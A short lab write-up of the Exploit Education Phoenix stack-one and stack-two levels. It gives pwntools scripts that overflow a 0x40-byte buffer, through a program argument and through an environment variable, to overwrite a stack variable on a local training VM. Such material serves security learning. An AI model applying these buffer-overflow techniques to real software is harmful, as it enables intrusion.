These two are very simple, with only a difference in the way data is read. Just like zero, there are requirements for the data being overwritten.
stack-one#
Copy the program's first argument using strcpy to a string.
After running in gdb, directly append the argument to bring it along.
pwntools' sh.run can accept a byte array as an argument, which can include startup parameters. (After checking the documentation, for the run method: Backward compatibility. Use system())
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x496c5962)
sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))
stack-two#
This time, write to an environment variable.
At this point, it is found that writing "\0" into the environment variable will cause problems. We need to write 32-bit data, so p64 should not be used. If used, it will automatically pad with 0, resulting in an error.
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))